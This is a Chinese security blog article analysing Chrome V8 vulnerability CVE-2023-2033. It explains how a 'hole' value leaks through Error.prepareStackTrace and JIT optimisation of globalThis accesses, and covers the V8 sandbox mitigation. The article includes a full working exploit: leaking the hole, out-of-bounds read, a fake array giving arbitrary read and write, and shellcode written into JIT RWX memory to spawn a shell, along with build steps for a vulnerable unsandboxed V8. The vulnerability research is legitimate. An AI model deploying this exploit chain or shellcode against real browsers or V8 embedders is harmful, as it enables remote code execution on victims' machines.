freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Chrome v8漏洞CVE-2023-2033分析
2024-07-23 16:00:57

前言

这篇文章比较深入的介绍了v8漏洞CVE-2023-2033成因、原理、利用细节以及v8 sandbox对利用的缓解效用。介绍过程中会提及较多源码片段,结合源码享用风味更佳。与此同时提供了原创完整可用exp,这是笔者在其他地方没有找到的。
这是一个系列文章,本文是第六篇。前五篇:

先试为快。

编译v8

# 推荐香港服务器,可以避免网络问题导致的编译失败。
# 笔者环境ubuntu22.04 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH

mkdir ~/v8
cd ~/v8
fetch v8
cd v8

# 补丁前一笔提交
git checkout f7a3499f6d7
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
# 修改编译参数再编译一次,将args.gn中的v8_enable_sandbox置为false(默认为true)。为什么需要修改编译参数,后面再讲。
# vi ~/v8/out/x64.release/args.gn
# 第二次编译
gm x64.release

# test
./out/x64.release/d8 --help

POC

function doubleToTwoInts(doubleValue) {
    const buffer = new ArrayBuffer(8); 
    const view = new DataView(buffer);
    view.setFloat64(0, doubleValue, true); 
  
    const intLow = view.getUint32(0, true); 
    const intHigh = view.getUint32(4, true); 
  
    return [intLow, intHigh];
  }
  
  function sleepSync(ms) {
    const end = Date.now() + ms;
    while (Date.now() < end) {
  
    }
  }
  
  function twoIntsToDouble(intLow, intHigh) {
    const buffer = new ArrayBuffer(8);
    const view = new DataView(buffer);
    view.setUint32(0, intLow, true); 
    view.setUint32(4, intHigh, true); 
  
    return view.getFloat64(0, true); // true表示使用小端字节序
  }
  
  // ============================================================
  
  var h0le = [0];
  function leak_hole() {
    function rGlobal() {
        h0le[0] = globalThis.stack;
    }
    Error.captureStackTrace(globalThis);
    Error.prepareStackTrace = function() {
        Reflect.deleteProperty(Error, 'prepareStackTrace');
        Reflect.deleteProperty(globalThis, 'stack');
        Reflect.defineProperty(
            globalThis, 'stack',
            {configurable: false, writable: true, enumerable: true, value: 1});
        stack = undefined;
        for (let i = 0; i < 10000; i++) {
            rGlobal();
        }
        sleepSync(2000); 
        
        return undefined;
    };
    Reflect.defineProperty(
        globalThis, 'stack',
        {configurable: true, writable: true, enumerable: true, value: undefined});
    delete globalThis.stack;
    
    rGlobal();
    return h0le[0];
  }
  
  function leak_stuff(obj) {
    let flag = true;
    let index = Number(flag ? the.hole : -1);
    index |= 0;
    index += 1;
    
    let arr1 = [1.1, 2.2, 3.3, 4.4];
    let arr2 = [obj];
    var value1 = arr1.at(index * 4);
    var value2 = arr1.at(index * 7);
    
    return [value2, value1, arr1, arr2];
  }
  
  var map_of_double_arr = 0;
  var prototype_of_double_arr = 0;
  
  function build_fake_obj(addr) {
    let flag = true;
    let index = Number(flag ? the.hole : -1);
    index |= 0;
    index += 1;
  
    let arr1 = [0, {}];
    let arr2 = [addr, 1.1, 1.1, 1.1, 1.1];
    
    let fake_obj = arr1.at(index*8);
        
    return [fake_obj, arr1, arr2];
  }
  
  function addressof(obj) {
    sleepSync(2000);
    [value2, value1, arr1, arr2] = leak_stuff(obj);
  
    var double_arr_info = doubleToTwoInts(value1);
    var obj_addr = doubleToTwoInts(value2);  
    map_of_double_arr = double_arr_info[0];
    prototype_of_double_arr = double_arr_info[1];
  
    return obj_addr[0];
  }
  
  let double_objcect = [1.1, 1.1];
  function get_double_objcect_of_addr(addr) {
    let addr_of_arr = addressof(double_objcect);
  
    // map, prototype
    double_objcect[0] = twoIntsToDouble(map_of_double_arr, prototype_of_double_arr);
  
    // addr, length
    // elements of arr
    // arr[1] = twoIntsToDouble(addr_of_arr + 0xb8, 20); 
    double_objcect[1] = twoIntsToDouble(addr - 8, 20); 
    
    [fake, arr1, arr2] = build_fake_obj(twoIntsToDouble(addr_of_arr + 0x1dc, 0));
    return fake;
  }
  
  function read(addr) {
    fake = get_double_objcect_of_addr(addr);
    return doubleToTwoInts(fake[0]);
  }
  
  function write(addr, value) {
    fake = get_double_objcect_of_addr(addr);
    fake[0] = twoIntsToDouble(value[0], value[1]);
  }
  
  function write_shell_code(rwx_addr, shellcode) {
    let shellArray = new Uint8Array(100);
    shellArray.fill(1);
    let shellArray_element_addr = addressof(shellArray) + 0x2c;
  
    write(shellArray_element_addr, rwx_addr);
    
    for (let i = 0; i < shellcode.length; i++)
        shellArray[i] = shellcode[i];
  }
  
  let shellcode = new Uint8Array([
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
    0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
    0x00, 0x73, 0x68, 0x00, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
    0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
    0x6a, 0x3b, 0x58, 0x0f, 0x05
  ]);
  
  
  const the = { hole: leak_hole() };
  sleepSync(2000); 
  
  for (let i = 0; i < 10000; i++) {
    leak_stuff(h0le);
  }
  
  addr = addressof(h0le);
  
  for (let i = 0; i < 10000; i++) {
    build_fake_obj(addr);
  }
  
  function shellcode_func() {
    return [
            1.9553825422107533e-246,
            1.9560612558242147e-246,
            1.9995714719542577e-246,
            1.9533767332674093e-246,
            2.6348604765229606e-284
    ];
  }
  
  for (let i = 0; i < 10000; i++) {
    shellcode_func();
  }
  
  sleepSync(2000);
  
  // pwn
  
  addr_of_shellcode = addressof(shellcode_func);
  
  addr_of_code_u32 = read(addr_of_shellcode + 0x18)[0];
  console.log("code object: " + addr_of_code_u32.toString(16));
  
  addr_of_rwx_double = read(addr_of_code_u32 + 0x10);
  console.log("rwx: 0x" + addr_of_rwx_double[1].toString(16) + addr_of_rwx_double[0].toString(16));
  
  write_shell_code(addr_of_rwx_double, shellcode);
  
  shellcode_func();

执行./out/x64.release/d8 poc.js将会得到一个sh(由于并行编译,成功率80%左右),如下:

user@user:~/work/v8$ ./out/x64.release/d8  poc.js
code object: 19d4e9
rwx: 0x5d8e88b84e40
$ 

漏洞分析

var h0le = [0];
function leak_hole() {
    function rGlobal() {
        h0le[0] = globalThis.stack;
    }
    Error.captureStackTrace(globalThis);
    Error.prepareStackTrace = function() {
        Reflect.deleteProperty(Error, 'prepareStackTrace');
        Reflect.deleteProperty(globalThis, 'stack');
        Reflect.defineProperty(     // 2 <---
            globalThis, 'stack',
            {configurable: false, writable: true, enumerable: true, value: 1});
        stack = undefined;
        for (let i = 0; i < 10000; i++) {     // 3 <---
            rGlobal();
        }
        sleepSync(2000); 
        
        return undefined;
    };
    Reflect.defineProperty(     // 1 <---
        globalThis, 'stack',
        {configurable: true, writable: true, enumerable: true, value: undefined});    
    delete globalThis.stack;    // 4 <---

    rGlobal();      // 5 <---
    return h0le[0];
}
const the = { hole: leak_hole() };
console.log(the.hole);

有漏洞的版本执行这段代码将得到hole,而打过补丁的版本将得到undefine。hole是什么呢?hole是一个v8实现的内部的值,不应该暴露给js。如果暴露给js,那么将会导致漏洞。更多hole的解释,参考can-anyone-explain-v8-bytecode-ldathehole。下面,将详细分析hole是如何泄露到js中的。

globalThis

什么是globalThis?完整信息可以参考MDN文档globalThis。简单的讲,它是一个对象,代表了一个集合,这个集合包含了所有的全局对象:属性、函数、变量等。申明一个全局变量obj,它也可以通过globalThis.obj来访问,两者是等价的。

Error

Error.captureStackTrace(globalThis) 这是一个非标准的JS api的调用,为globalThis对象添加stack属性。调用console.log(globalThis.stack)将会打印调用堆栈。
Error.prepareStackTrace是一个回调函数,在globalThis.stack发生修改操作的时候被调用。参考preparestacktrace

hole泄露过程

  1. 代码1处调用defineProperty对globalThis.stack属性进行修改,此时优先调用prepareStackTrace回调函数,当回调函数执行完之后继续执行defineProperty操作。

  2. 调用deleteProperty,删除回调函数,防止代码2处调用时对stack做修改时进行无限递归。

  3. 调用Reflect.deleteProperty,将stack属性从globalThis对象中移除。Error.captureStackTrace创建属性时,默认属性的configurable值为true,因此此处deleteProperty可以成功。

  4. 调用Reflect.defineProperty又重新定义stack属性,此时stack属性的configurable值被重新赋值为false,value被赋值为1.

  5. stack = undefined; stack的value从1被定义为undefined。

  6. 代码3处重复调用rGlobal,触发jit优化,将对rGlobal函数做优化。

  7. sleepSync(2000); 睡眠2秒钟

  8. 此时回调函数执行完毕,接着执行1处代码后续操作,将globalThis.stack的configurable设置为true。

  9. 4处代码得益于1处代码修改了configurable为true,因此可以delete成功。

  10. 4处代码delete并没有导致rGlobal解优化,此时globalThis.stack为hole,于是h0le[0]变为了hole泄露给js了。
    上述过程中,看似平平无奇,实则内藏玄机。还有下面几个问题需要回答。

globalThis可以替换成其他全局对象吗?

// ./out/x64.release/d8  --print-opt-code test.js
function sleepSync(ms) {
  const end = Date.now() + ms;
  while (Date.now() < end) {

  }
}
var h0le = [0];
var global_obj = {};
function leak_hole() {
    function rGlobal() {
        h0le[0] = global_obj.stack;
    }
    Error.captureStackTrace(global_obj);
    Error.prepareStackTrace = function() {
        Reflect.deleteProperty(Error, 'prepareStackTrace');
        Reflect.deleteProperty(global_obj, 'stack');
        Reflect.defineProperty(
            global_obj, 'stack',
            {configurable: false, writable: true, enumerable: true, value: 1});
        stack = undefined;
        for (let i = 0; i < 10000; i++) {
            rGlobal();
        }
        sleepSync(2000); 
        
        return undefined;
    };
    Reflect.defineProperty(
        global_obj, 'stack',
        {configurable: true, writable: true, enumerable: true, value: undefined});
    delete global_obj.stack;

    rGlobal();
    return h0le[0];
}
const the = { hole: leak_hole() };
console.log(the.hole);

答案是不能。将globalThis替换成global_obj,上述代码将打印undefined。为什么呢?我们对比查看两份代码rGlobal的jit汇编。
image
左右两边分别对应globalThis及global_obj。

  1. globalThis.stack jit优化之后,变成了对PropertyCell的直接访问,PropertyCell对应属性的值,直接就是stack的值。

  2. global_obj.stack jit优化之后,变成了LoadICTrampoline函数调用,这个函数的作用是对global_obj对象,进行stack属性索引。

  3. 这两者的差别将导致4处代码delete globalThis.stack执行之后,一个返回hole,另外一个返回undefined
    globalThis和global_obj,两者都是全局对象,为什么导致了jit优化代码的不同呢?经过一番调试了,找到了原因。

// src/compiler/js-native-context-specialization.cc:1499:  
Reduction JSNativeContextSpecialization::ReduceNamedAccess(...) {
  // ...

  // Check if we have an access o.x or o.x=v where o is the target native
  // contexts' global proxy, and turn that into a direct access to the
  // corresponding global object instead.
  if (inferred_maps.size() == 1) {
    MapRef lookup_start_object_map = inferred_maps[0];
    if (lookup_start_object_map.equals(
            native_context().global_proxy_object(broker()).map(broker()))) {  // 
      if (!native_context().GlobalIsDetached(broker())) {
        OptionalPropertyCellRef cell =
            native_context().global_object(broker()).GetPropertyCell(
                broker(), feedback.name());
        if (!cell.has_value()) return NoChange();
        // Note: The map check generated by ReduceGlobalAccesses ensures that we
        // will deopt when/if GlobalIsDetached becomes true.
        return ReduceGlobalAccess(node, lookup_start_object, receiver, value,
                                  feedback.name(), access_mode, key, *cell,
                                  effect);
      }
    }
  }

  // ...
}

ReduceNamedAccess 函数调用发生在jit编译的InliningPhase阶段(关于更多jit知识,可以查看前面几篇系列文章,或者其他公开文档)。参考注释可知,节选出来的代码做了一个优化,对于xxx.stack这样的属性访问,如果xxx是一个global proxy,即globalThis,那么globalThis.stack访问将被转换为对stack全局变量的直接访问。而global_obj.stack进不了这个分支,将进入到其他分支,被优化成对LoadICTrampoline函数的调用。

2处代码的作用是什么?

Reflect.defineProperty(     // 2 <---
    globalThis, 'stack',
    {configurable: false, writable: true, enumerable: true, value: 1});
stack = undefined;

这两行代码产生了下面的效用:

  1. 给globalThis对象增加了stack属性

  2. stack属性的configurable值为false

  3. stack属性的value为1

  4. 将stack赋值为undefined,由于undefined(NULL)和1(SMI)属于不相同的类型,于是stack的cell_type为PropertyCellType::kMutable。(关于这部分知识,参考CVE-2021-30632关于PropertyCellType的介绍)
    总结一下,给globalThis对象增加stack属性,同时stack的configurable为false,且value类型为kMutable。这都是为了通过上面调用的ReduceGlobalAccess函数的检查,见下面代码:

// src/compiler/js-native-context-specialization.cc:1081:
Reduction JSNativeContextSpecialization::ReduceGlobalAccess(...) {
    // ...
    if (property_details.cell_type() != PropertyCellType::kMutable ||
          property_details.IsConfigurable()) {
        dependencies()->DependOnGlobalProperty(property_cell);
    }
    // ...
}

满足“stack的configurable为false,且value类型为kMutable”这两个条件才不会进入到dependencies()->DependOnGlobalProperty的调用,而这个函数的作用是,当stack的值发生变化时,将对当前函数进行解优化。回顾前面的代码:

delete globalThis.stack;    // 4 <---  删除stack属性,stack属性被置为hole,如果调用DependOnGlobalProperty,那么rGlobal函数将执行解优化。

    rGlobal();      // 5 <---  如果发生解优化,将按照正常的逻辑,将hole转换为undefined返回给js
    return h0le[0];

至此,我们可以回答这个问题了。2处代码的作用就是给stack设置一个合适的值,使得DependOnGlobalProperty函数不被调用,从而在delete globalThis.stack执行的时候不对rGlobal函数做解优化(deopt)。 通过给d8传递参数--trace-deopt可以观察到解优化的日志,可以自行修改configurable为true进行观察。

1处代码执行时stack的configurable已经被回调置为false,为何configurable还能被修改为true?

var obj = {};
Reflect.defineProperty(     
    obj, 'abc',
    {configurable: false, writable: true, enumerable: true, value: 1});

delete obj.abc;
Reflect.defineProperty(     
    obj, 'abc',
    {configurable: true, writable: true, enumerable: true, value: 1});  

如上代码,delete obj.abc和第二次Reflect.defineProperty调用都会失败。因为configurable已经被置为false了。
那么为什么1处代码在configurable已经为false的情况下,对configurable置为true仍然可以成功呢?

// lldb ./out/x64.debug/d8
// r --allow-natives-syntax test.js
function sleepSync(ms) {
  const end = Date.now() + ms;
  while (Date.now() < end) {

  }
}
var h0le = [0];
function leak_hole() {
    function rGlobal() {
        h0le[0] = globalThis.stack;
    }
    Error.captureStackTrace(globalThis);
    Error.prepareStackTrace = function() {
        // 将在v8中产生断点
        %SystemBreak();
        Reflect.deleteProperty(Error, 'prepareStackTrace');
        Reflect.deleteProperty(globalThis, 'stack');
        Reflect.defineProperty(
            globalThis, 'stack',
            {configurable: false, writable: true, enumerable: true, value: 1});
        stack = undefined;
        for (let i = 0; i < 10000; i++) {
            rGlobal();
        }
        sleepSync(2000); 
        
        return undefined;
    };
    Reflect.defineProperty(
        globalThis, 'stack',
        {configurable: true, writable: true, enumerable: true, value: undefined});
    delete globalThis.stack;

    rGlobal();
    return h0le[0];
}
const the = { hole: leak_hole() };
console.log(the.hole);

通过lldb调试d8,得到下面的调用堆栈:

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BREAKPOINT (code=EXC_I386_BPT, subcode=0x0)
  * frame #0: 0x0000000100987365 libv8_libbase.dylib`v8::base::OS::DebugBreak() at platform-posix.cc:719:1
    frame #1: 0x000000010d8e3d0b libv8.dylib`v8::internal::__RT_impl_Runtime_SystemBreak(args=v8::internal::RuntimeArguments @ 0x00007ff7bfefbb90, isolate=0x00007fd211622000) at runtime-test.cc:1245:3
    frame #2: 0x000000010d8e3959 libv8.dylib`v8::internal::Runtime_SystemBreak(args_length=0, args_object=0x00007ff7bfefbce0, isolate=0x00007fd211622000) at runtime-test.cc:1240:1
    frame #3: 0x000000010bcbc7f8 libv8.dylib`Builtins_CEntry_Return1_ArgvInRegister_NoBuiltinExit + 56
    frame #4: 0x000000010c155cff libv8.dylib`Builtins_CallRuntimeHandler + 511
    frame #5: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264
    frame #6: 0x000000010b8e9bdc libv8.dylib`Builtins_JSEntryTrampoline + 92
    frame #7: 0x000000010b8e9907 libv8.dylib`Builtins_JSEntry + 135
    frame #8: 0x000000010c980486 libv8.dylib`v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(this=0x00007ff7bfefc020, args=140540211503232, args=38976828211793, args=38976829108977, args=38976829024833, args=3, args=0x00007fd20ff069e0) at simulator.h:154:12
    frame #9: 0x000000010c97d012 libv8.dylib`v8::internal::(anonymous namespace)::Invoke(isolate=0x00007fd211622000, params=0x00007ff7bfefc288) at execution.cc:427:33
    frame #10: 0x000000010c97be3f libv8.dylib`v8::internal::Execution::Call(isolate=0x00007fd211622000, callable=Handle<v8::internal::Object> @ 0x00007ff7bfefc280, receiver=Handle<v8::internal::Object> @ 0x00007ff7bfefc278, argc=2, argv=0x00007fd20ff069e0) at execution.cc:529:10
    frame #11: 0x000000010ca2e939 libv8.dylib`v8::internal::ErrorUtils::FormatStackTrace(isolate=0x00007fd211622000, error=Handle<v8::internal::JSObject> @ 0x00007ff7bfefc578, raw_stack=Handle<v8::internal::Object> @ 0x00007ff7bfefc570) at messages.cc:360:9
    frame #12: 0x000000010ca360da libv8.dylib`v8::internal::ErrorUtils::GetFormattedStack(isolate=0x00007fd211622000, error_object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefc758) at messages.cc:1031:5
    frame #13: 0x000000010c4ecbff libv8.dylib`v8::internal::Accessors::ErrorStackGetter(key=Local<v8::Name> @ 0x00007ff7bfefc7b0, info=0x00007ff7bfefc880) at accessors.cc:859:8
    frame #14: 0x000000010d4abda5 libv8.dylib`v8::internal::PropertyCallbackArguments::CallAccessorGetter(this=0x00007ff7bfefcb90, info=Handle<v8::internal::AccessorInfo> @ 0x00007ff7bfefc8c8, name=Handle<v8::internal::Name> @ 0x00007ff7bfefc8c0) at api-arguments-inl.h:315:3
    frame #15: 0x000000010d4a9b2f libv8.dylib`v8::internal::Object::GetPropertyWithAccessor(it=0x00007ff7bfefd070) at objects.cc:1460:34
    frame #16: 0x000000010d4a84c9 libv8.dylib`v8::internal::Object::GetProperty(it=0x00007ff7bfefd070, is_global_reference=false) at objects.cc:1182:16
    frame #17: 0x000000010d302965 libv8.dylib`v8::internal::JSReceiver::GetOwnPropertyDescriptor(it=0x00007ff7bfefd070, desc=0x00007ff7bfefcfb0) at js-objects.cc:1929:10
    frame #18: 0x000000010d30240f libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(it=0x00007ff7bfefd070, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1434:3
    frame #19: 0x000000010d30235a libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefd0d0, key=0x00007ff7bfefd130, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1232:10
    frame #20: 0x000000010d302157 libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefd160, key=Handle<v8::internal::Object> @ 0x00007ff7bfefd158, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1213:10
    frame #21: 0x000000010d3014dc libv8.dylib`v8::internal::JSReceiver::DefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSReceiver> @ 0x00007ff7bfefd320, key=Handle<v8::internal::Object> @ 0x00007ff7bfefd318, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1203:10
    frame #22: 0x000000010c5b7ee1 libv8.dylib`v8::internal::Builtin_Impl_ReflectDefineProperty(args=BuiltinArguments @ 0x00007ff7bfefd4d0, isolate=0x00007fd211622000) at builtins-reflect.cc:43:24
    frame #23: 0x000000010c5b7754 libv8.dylib`v8::internal::Builtin_ReflectDefineProperty(args_length=8, args_object=0x00007ff7bfefd5f0, isolate=0x00007fd211622000) at builtins-reflect.cc:20:1
    frame #24: 0x000000010bcbc8fd libv8.dylib`Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit + 61
    frame #25: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264
    frame #26: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264
    frame #27: 0x000000010b8e9bdc libv8.dylib`Builtins_JSEntryTrampoline + 92
    frame #28: 0x000000010b8e9907 libv8.dylib`Builtins_JSEntry + 135
    frame #29: 0x000000010c980486 libv8.dylib`v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(this=0x00007ff7bfefd9b0, args=140540211503232, args=38976828211793, args=38976829108033, args=38976829012981, args=1, args=0x0000000000000000) at simulator.h:154:12
    frame #30: 0x000000010c97d012 libv8.dylib`v8::internal::(anonymous namespace)::Invoke(isolate=0x00007fd211622000, params=0x00007ff7bfefdc28) at execution.cc:427:33
    frame #31: 0x000000010c97d780 libv8.dylib`v8::internal::Execution::CallScript(isolate=0x00007fd211622000, script_function=Handle<v8::internal::JSFunction> @ 0x00007ff7bfefdc20, receiver=Handle<v8::internal::Object> @ 0x00007ff7bfefdc18, host_defined_options=Handle<v8::internal::Object> @ 0x00007ff7bfefdc10) at execution.cc:540:10
    frame #32: 0x000000010c330ad7 libv8.dylib`v8::Script::Run(this=0x00007fd21180d398, context=Local<v8::Context> @ 0x00007ff7bfefddf0, host_defined_options=Local<v8::Data> @ 0x00007ff7bfefdce8) at api.cc:2301:7
    frame #33: 0x000000010c3305e8 libv8.dylib`v8::Script::Run(this=0x00007fd21180d398, context=Local<v8::Context> @ 0x00007ff7bfefdec0) at api.cc:2264:10
    frame #34: 0x0000000100047e5a d8`v8::Shell::ExecuteString(isolate=0x00007fd211622000, source=Local<v8::String> @ 0x00007ff7bfefe1f8, name=Local<v8::String> @ 0x00007ff7bfefe1f0, print_result=kNoPrintResult, report_exceptions=kReportExceptions, process_message_queue=kProcessMessageQueue) at d8.cc:896:28
    frame #35: 0x0000000100069379 d8`v8::SourceGroup::Execute(this=0x00007fd210a04088, isolate=0x00007fd211622000) at d8.cc:4380:10
    frame #36: 0x000000010006e504 d8`v8::Shell::RunMainIsolate(isolate=0x00007fd211622000, keep_context_alive=false) at d8.cc:5183:37
    frame #37: 0x000000010006df1a d8`v8::Shell::RunMain(isolate=0x00007fd211622000, last_run=true) at d8.cc:5103:18
    frame #38: 0x0000000100070da2 d8`v8::Shell::Main(argc=3, argv=0x00007ff7bfeff0f8) at d8.cc:5955:18
    frame #39: 0x0000000100071682 d8`main(argc=3, argv=0x00007ff7bfeff0f8) at d8.cc:6047:43
    frame #40: 0x00007ff8100b4366 dyld`start + 1942
// js-objects.cc
Maybe<bool> JSReceiver::GetOwnPropertyDescriptor(LookupIterator* it,
                                                 PropertyDescriptor* desc) {
    // ...
    Maybe<bool> intercepted = GetPropertyDescriptorWithInterceptor(it, desc);
    // ...
    if (!Object::GetProperty(it).ToHandle(&value)) { 
        // ...
    }
    // ...
}
  • GetPropertyDescriptorWithInterceptor函数获取了当前stack属性,存放在desc中。

  • Object::GetProperty(it).ToHandle 函数调用将触发Error.prepareStackTrace回调。

  • 也就是说执行回调前,v8已经将先前的stack属性缓存在desc变量中了。

// js-objects.cc
Maybe<bool> JSReceiver::OrdinaryDefineOwnProperty() {
    // ...
    PropertyDescriptor current;
    MAYBE_RETURN(GetOwnPropertyDescriptor(it, &current), Nothing<bool>());
    // ...
    return ValidateAndApplyPropertyDescriptor(
      isolate, it, extensible, desc, &current, should_throw, Handle<Name>());
    // ...
}

Maybe<bool> JSReceiver::ValidateAndApplyPropertyDescriptor() {
    // ...
    if (!current->configurable()) {
        if (desc->has_configurable() && desc->configurable()) {
            // RETURN_FAILURE
        }
    }
    // ...
}
  • GetOwnPropertyDescriptor 获取先前的stack属性,存入current变量,并且调用Error.prepareStackTrace注册的回调

  • ValidateAndApplyPropertyDescriptor通过current做configurable是否为true的判断,从而决定configurable是否可以修改
    总结一下:

  1. Error.captureStackTrace定义了stack,此时stack默认configurable为true。

  2. 调用Reflect.defineProperty 意图修改configurable为true。下面将Reflect.defineProperty的内部动作进一步拆解。

  3. 此时优先获取configurable的值,并且缓存进current变量。

  4. 然后执行回调Error.prepareStackTrace,将configurable修改为false(目的是为了优化代码不被解优化)。

  5. 根据current变量进行判断,current变量中configurable为true,因此可以做任意修改。

  6. 最后Reflect.defineProperty将configurable从false修改为true。

sleepSync(2000)的作用是什么,可以不要或者睡眠其他时间吗?

在d8的release编译模式下,jit编译是同步进行的。rGlobal循环1万次,在某次(比如6000)执行之后,v8会开启一个新的线程对rGlobal函数进行编译,编译成功之后通知主线程,下一次执行就直接执行编译之后的代码。这个时机可能是9000次,也有可能到程序结束也得不到执行。因此这里睡眠2秒钟或者更长时间,等待编译结束。保证下一次执行的时候,是执行的jit代码。

POC详解

POC介绍一下跟此漏洞相关的地方。剩余的部分跟对象内存布局相关,可以通过%DebugPrint(需要附加d8参数--allow-native-syntax)查看内存布局进行调整各个魔数。

function leak_stuff(obj) {
    let flag = true;
    let index = Number(flag ? the.hole : -1);
    index |= 0;
    index += 1;
    
    let arr1 = [1.1, 2.2, 3.3, 4.4];
    let arr2 = [obj];
    var value1 = arr1.at(index * 4);
    var value2 = arr1.at(index * 7);
    
    return [value2, value1, arr1, arr2];
}
  1. the.hole的值是hole

  2. flag ? the.hole : -1 在优化时将产生了一个phi(hole|-1),优化器推测它的取值范围是[-1,-1]。关于phi是优化器的一个概念,它可以姑且被认为是"或"。hole | -1,因为hole是漏洞,不应该出现在phi的值里面,优化器不能正确处理,于是将phi(hole|-1)认为取值范围是[-1,-1]。

  3. 在经过index |= 0,index += 1运算之后,取值范围变为了[0,0]

  4. index * 4, index * 7,它们的取值范围都将为[0,0]

  5. 由于优化器认为计算结果只能为0,不会产生数组访问越界,因此在arr1.at对数组进行访问时,取消了前置的check节点,不再进行检查。

  6. 这些信息可以通过给d8添加参数--trace-representation得到,如下:

#53:SpeculativeNumberBitwiseOr[Number](#48:JSToNumberConvertBigInt, #52:NumberConstant, #50:Checkpoint, #48:JSToNumberConvertBigInt)  [Static type: Range(-1, -1)]
#55:SpeculativeSafeIntegerAdd[SignedSmall](#53:SpeculativeNumberBitwiseOr, #54:NumberConstant, #53:SpeculativeNumberBitwiseOr, #48:JSToNumberConvertBigInt)  [Static type: Range(0, 0)]
#77:SpeculativeNumberMultiply[SignedSmall](#55:SpeculativeSafeIntegerAdd, #76:NumberConstant, #68:Checkpoint, #48:JSToNumberConvertBigInt)  [Static type: Range(0, 0)]
  1. 以上是优化器的逻辑,实际执行的时候flag ? the.hole : -1,由于flag为true,于是Number(flag ? the.hole : -1)等于Number(hole),它的值是NaN。

  2. NaN | 0 = 0

  3. 0 + 1 = 1

  4. index * 4, index * 7将等于4,7。此时对arr1进行访问将造成越界读。

  5. index * 7 里面存放的是obj对象的地址。

  6. index * 4 里面存放的是double arr 的map(4个字节)以及prototype(4个字节)的结构,这两个值用于后面构造一个fake double arr用。

function shellcode_func() {
    return [
            1.9553825422107533e-246,
            1.9560612558242147e-246,
            1.9995714719542577e-246,
            1.9533767332674093e-246,
            2.6348604765229606e-284
    ];
}
  
for (let i = 0; i < 10000; i++) {
    shellcode_func();
}

// 
addr_of_shellcode = addressof(shellcode_func);
  
addr_of_code_u32 = read(addr_of_shellcode + 0x18)[0];
console.log("code object: " + addr_of_code_u32.toString(16));

addr_of_rwx_double = read(addr_of_code_u32 + 0x10);
console.log("rwx: 0x" + addr_of_rwx_double[1].toString(16) + addr_of_rwx_double[0].toString(16));

write_shell_code(addr_of_rwx_double, shellcode);

shellcode_func();
  1. 循环1万次将jit优化shellcode_func,会创建一块rwx的内存,并写上jit优化之后的汇编代码

  2. addressof 函数获取shellcode_func对象地址

  3. shellcode_func对象偏移0x18的地方存放code对象的地址

  4. code对象偏移0x10的地方存放rwx的地址

  5. write_shell_code将shellcode写入rwx

  6. 执行修改之后的shellcode_func

v8 sandbox

还记得前面提到过,需要在编译v8的时候修改编译选项,将args.gn中的v8_enable_sandbox置为false(默认为true)。它的作用是什么呢?当它为true的时候,将开启v8 sandbox,否则关闭。参考v8 sandbox。简单来讲,它的作用是创建一个沙箱,即使出现了漏洞,也不能直接执行代码,而需要再穿越这个沙箱才行。如果打开这个开关,我们的POC还会执行成功吗?答案是不能。区别在于:

function write_shell_code(rwx_addr, shellcode) {
    let shellArray = new Uint8Array(100);
    shellArray.fill(1);
    let shellArray_element_addr = addressof(shellArray) + 0x2c;
  
    write(shellArray_element_addr, rwx_addr);
    
    for (let i = 0; i < shellcode.length; i++)
        shellArray[i] = shellcode[i];
}

这段代码中,通过addressof(shellArray) + 0x2c存放的是Uint8Array对象数组的指针,它是一个full pointer,将它修改为rwx内存的地址,Uint8Array就指向了rwx,对Uint8Array数组访问,就可以直接修改rwx内容了。当v8_enable_sandbox 为true时。addressof(shellArray) + 0x2c存放的是v8 heap addr。这是一个压缩指针,中间记录的是偏移。addr + base << 32才能得到真正的地址,base存放在寄存器中。由于base存放在寄存中,无法泄露,也无法修改,因此无法构造一个合理的跳板来写rwx,进一步让漏洞无法利用。这是v8 sandbox想要达到的效果。也就是说,以后要实现一个完成的漏洞利用链,除了v8的漏洞外,还需要额外找到一个v8 sandbox的漏洞才行。用%DebugPrint查看不同开关下面Uint8Array的结构。

# disable v8 sandbox
# v8_enable_sandbox = false 
# ./d8 --allow-natives-syntax test.js
# var obj = new Uint8Array(100);
# %DebugPrint(obj);

DebugPrint: 0x287d0004c645: [JSTypedArray]
 ...
